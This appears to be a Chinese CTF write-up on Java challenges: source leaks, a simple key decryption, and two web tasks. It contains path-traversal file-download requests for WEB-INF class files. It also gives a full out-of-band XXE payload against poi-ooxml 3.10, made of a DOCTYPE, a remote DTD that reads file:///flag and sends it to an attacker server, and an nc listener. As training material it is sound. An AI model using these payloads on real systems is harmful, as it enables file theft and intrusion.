CTF夺旗-JAVA考点反编译&XXE&反序列化

QQ截图20220615084512.jpg

Java常考点及出题思路

  1. .ng源码泄露
  2. git源码泄露
  3. .Ds_store文件泄漏
  4. 网站备份压缩文件
  5. SVN导致文件泄露
  6. WEB-INF/web.xml泄露
  7. CVS泄漏

Java简单逆向解密-Reverse-buuoj-逆向源码

下载附件,将源码用idea打开,分析加密算法,得知加密算法时是将原始key先加64再异或32得到加密后的key,如下图所示

QQ截图20220616102610.jpg

自己编写一个解密算法,将加密后的key先异或32再减64,得到原始key

QQ截图20220616102631.jpg

RoarCTF-2019-easy_java-配置到源码

WEB-INF主要包含以下文件或目录

  • /WEB-INF/web.xml:web应用程序配置文件,描述了servlet和其他的应用组件配置及命名规则。
  • /WEB-INF/classes/:包含了站点所有用的class文件,包括servlet class和非servlet class,他们不能包含在.jar文件中
  • /WEB-INF/lib/:存放web应用需要的各种JAR文件,放置仅在这个应用中要求使用的jar文件,如数据库驱动jar文件
  • /WEB-INF/src/:源码目录,按照包名结构放置各个java文件。
  • /WEB-INF/database.properties:数据库配置文件

漏洞检测以及利用方法:通过找到web.xml文件,推断class文件的路径,最后直接查看或下载class文件,再通过反编译class文件,得到网站源码

QQ截图20220616102719.jpg

点击help,显示如下,url为/Download?filename=help.docx,猜测有任意文件下载漏洞

QQ截图20220616102739.jpg

改为post请求方法提交,成功下载(这脑洞有点大,此后下载均用post)

QQ截图20220616102759.jpg

根据web.xml内容,找到与Flag相关class,尝试下载,下载成功

POST /Download?filename=/WEB-INF/classes/com/wm/ctf/FlagController.class

QQ截图20220616102837.jpg

QQ截图20220616102850.jpg

反编译class文件,得到网站源码,找到base64编码后的flag

QQ截图20220616102908.jpg

QQ截图20220616102918.jpg

网鼎杯2020-青龙组-filejava-ctfhub-配置到源码

JavaWeb程序,编译class格式,配置文件获取文件路径信息,IDEA打开查看

../../../../WEB-INF/web.xml
../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class
// 代码审计Javaweb代码,发现flag位置,文件下载获取?过滤,利用漏洞XXE安全

QQ截图20220616103205.jpg

随便上传一个文件,发现返回一个文件下载链接

QQ截图20220616103222.jpg

点击文件下载,看到请求包格式,猜测有任意文件下载漏洞

QQ截图20220616103239.jpg

构造filename值,尝试下载/WEB-INF/web.xml文件,下载成功

QQ截图20220616103259.jpg

根据/WEB-INF/web.xml文件内容,找到class文件,全部下载

filename=../../../../WEB-INF/classes/cn/abc/servlet/DownloadServlet.class
filename=../../../../WEB-INF/classes/cn/abc/servlet/ListFileServlet.class
filename=../../../../WEB-INF/classes/cn/abc/servlet/UploadServlet.class

idea反编译class文件,得到网站源码,分析源码,发现文件下载时过滤flag关键字,因此不能在此处直接下载flag文件

QQ截图20220616103334.jpg

继续分析源码,找到poi-ooxml-3.10,该版本存在XXE漏洞(CVE-2014-3529)

QQ截图20220616103355.jpg

本地新建excel-aaa.xlsx文件,修改后缀名.zip,打开压缩包,其中有[Content-Types].xml文件

QQ截图20220616103425.jpg

修改[Content-Types].xml,第二行添加如下内容,保存

<!DOCTYPE convert [
<!ENTITY % remote SYSTEM "http://远程服务器IP:3333/xxx.dtd">
%remote;%int;%send;
]>

将修改后的压缩包重新修改后缀为.xlsx文件

QQ截图20220616103459.jpg

进入远程服务器WEB根目录,创建文件xxx.dtd,添加内容

<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY % send SYSTEM '远程服务器IP:3333/%file;'>">

启动监控 :nc -lvvp 3333,一切准备就绪,上传excel-aaa.xlsx文件,查看nc监听结果,得到flag

QQ截图20220616103657.jpg